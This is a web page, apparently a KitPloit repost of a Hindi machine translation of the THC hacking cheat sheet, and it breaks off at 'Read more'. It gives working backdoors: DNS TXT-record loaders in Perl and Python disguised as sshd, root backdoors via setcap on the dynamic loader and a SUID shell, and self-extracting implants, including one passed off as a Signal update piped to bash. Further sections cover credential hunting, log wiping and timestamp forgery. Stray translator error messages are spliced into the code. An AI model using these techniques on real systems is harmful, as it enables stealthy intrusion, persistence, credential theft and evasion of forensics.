P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

(perl संस्करण के लिए LouCipher को धन्यवाद)

...PYTHON में:

निम्नलिखित को अपने शेल में काटें और पेस्ट करें:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }

root@kitploit:~
अपना पेलोड जनरेट करें (`egg.py` लक्ष्य पर निष्पादित किया जाएगा):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

अपना इम्प्लांट जनरेट करें (और निर्देशों का पालन करें):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py

root@kitploit:~
<a id="ld-backdoor"></a>
**6.vii. स्थानीय रूट बैकडोर**

#### 1. setcap के साथ डायनामिक लोडर को बैकडोर करना```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

कोई इनपुट सामग्री प्रदान नहीं की गई है। कृपया अनुवाद के लिए वास्तविक चंक भेजें।```bash

Execute as non-root user to get root

fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'

root@kitploit:~
#### 2. अच्छा पुराना b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

I received no translatable content to work with. The input chunk is empty.```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'

root@kitploit:~
<a id="implant"></a>
**6.viii. स्व-निष्कर्षण इम्प्लांट**

[mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) का उपयोग करके एक स्व-निष्कर्षण शेल-स्क्रिप्ट बनाएं (उदाहरणों के लिए स्रोत देखें)।

सरल उदाहरण:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

वास्तविक दुनिया के उदाहरण सबसे अच्छे हैं:

  1. एक इम्प्लांट बनाएं जो gsocket इंस्टॉल करता है और सफलता पर हमारे webhook को कॉल करता है:```sh ./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'

On the target system do: 'cat egg.sh | bash' or './egg.sh'

root@kitploit:~
2. `egg.sh` का नाम बदलकर `update-for-fools.txt` करें और [Signal के](https://www.signal.org/) GitHub रिपॉज़िटरी में blob के रूप में अपलोड करें।

3. इस कमांड का उपयोग करके Signal को अपडेट करने के लिए लोगों को मूर्ख न बनाएं ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

7. होस्ट रिकॉन


किसी होस्ट के बारे में आवश्यक जानकारी प्राप्त करें:```sh bash -c "$(curl -fsSL https://thc.org/ws)"

root@kitploit:~
या```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

यदि कोई netstat/ss/lsof नहीं है तो netstat:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash

root@kitploit:~
सिस्टम की गति जाँच करें```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

सभी suid/sgid बाइनरी खोजें:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null

root@kitploit:~
सभी लिखने योग्य डायरेक्टरीज़ खोजें:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

स्थानीय पासवर्ड खोजें (noseyparker या trufflehog का उपयोग करके):```sh curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static chmod 700 np &&
./np scan . &&
./np report --color=always | less -R

root@kitploit:~
- [PassDetective](https://github.com/aydinnyunus/PassDetective) का उपयोग ~/.*history में पासवर्ड खोजने के लिए करें
- [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) का उपयोग चल रही प्रक्रिया से Chrome पासवर्ड निकालने और डिक्रिप्ट करने के लिए करें (केवल विंडोज़)
- ब्राउज़रों से पासवर्ड निकालने के लिए [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor) का उपयोग करें

`grep` का उपयोग करना:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

फ़ाइलों में सबडोमेन या ईमेल खोजें:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }

find_subdomain .foobar.com | anew | resolv

find_subdomain @gmail.com | anew

root@kitploit:~
---
<a id="shell-hacks"></a>
## 8. शेल हैक्स
<a id="shred"></a>
**8.i. Shred और एक फ़ाइल मिटाएँ**```sh
shred -z foobar.txt

:```sh

SHRED without shred command

shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt

root@kitploit:~
नोट: या अपनी फ़ाइलों को */dev/shm* डायरेक्टरी में रखें ताकि हार्डड्राइव पर कोई डेटा न लिखा जाए। रीबूट पर डेटा हटा दिया जाएगा।

नोट: या फ़ाइल को हटाएँ और फिर पूरी हार्डड्राइव को /dev/urandom से भर दें और फिर डंप फ़ाइल को rm -rf करें।

<a id="restore-timestamp"></a>
**8.ii. किसी फ़ाइल की तारीख़ पुनर्स्थापित करें**

मान लीजिए आपने */etc/passwd* संशोधित किया है, लेकिन फ़ाइल की तारीख़ अब दिखाती है कि */etc/passwd* संशोधित हो चुका है। फ़ाइल की तारीख़ को किसी अन्य फ़ाइल की तारीख़ में बदलने के लिए *touch* का उपयोग करें (इस उदाहरण में, */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Use hackshell और ctime /etc/passwd का उपयोग करके ctime और birth-time को भी समायोजित करें।

8.iii. लॉगफ़ाइल साफ़ करें

यह syslogd आदि को पुनः आरंभ किए बिना लॉगफ़ाइल को 0 पर रीसेट कर देगा:```sh

/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log

root@kitploit:~
यह लॉग फ़ाइल से IP `1.2.3.4` वाली किसी भी पंक्ति को हटा देगा:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

उदाहरण:```sh

xlog "1.2.3.4" /var/log/auth.log

xlog "${SSH_CLIENT%% *}" /var/log/auth.log

xlog "^2023.* thc.org" foo.log

root@kitploit:~
<a id="shell-hide-files"></a>
**8.iv. उस उपयोगकर्ता से रूट विशेषाधिकार के बिना फ़ाइलें छिपाएँ**

हमारी पसंदीदा कार्यशील निर्देशिका */dev/shm/* है। यह स्थान अस्थिर मेमोरी है और रीबूट पर खो जाएगा। कोई लॉग नहीं == कोई अपराध नहीं।

स्थायी फ़ाइलें छिपाना:

विधि 1:```sh
alias ls='ls -I system-dev'

यह system-dev निर्देशिका को ls कमांड से छिपा देगा। इसे उपयोगकर्ता के ~/.profile या सिस्टम-व्यापी /etc/profile में रखें।

विधि 2: 80 के दशक की तरकीबें। किसी भी ऐसी निर्देशिका पर विचार करें जिसे व्यवस्थापक शायद ही देखता है (जैसे /boot/.X11/.. या ऐसा ही):```sh mkdir '...' cd '...'

root@kitploit:~
विधि 3:
Unix लगभग किसी भी ASCII वर्ण को फ़ाइलनाम में अनुमति देता है, लेकिन 0x00 को नहीं। टैब (*\t*) आज़माएँ। ऐसा होता है कि अधिकांश एडमिन किसी भी ऐसी निर्देशिका में cd करना नहीं जानते।```sh
mkdir $'\t'
cd $'\t'

8.v. किसी फ़ाइल को अपरिवर्तनीय बनाएं

यह /var/www/cgi/blah.cgi को /boot/backdoor.cgi पर रीडायरेक्ट करेगा। फ़ाइल blah.cgi को संशोधित या हटाया नहीं जा सकता (जब तक अनमाउंट न किया जाए)।```sh

/boot/backdoor.cgi contains our backdoor

touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi

root@kitploit:~
<a id="nosudo"></a>
**8.vi. sudo/su के बिना उपयोगकर्ता बदलें**

Read more

टूल डाउनलोड करें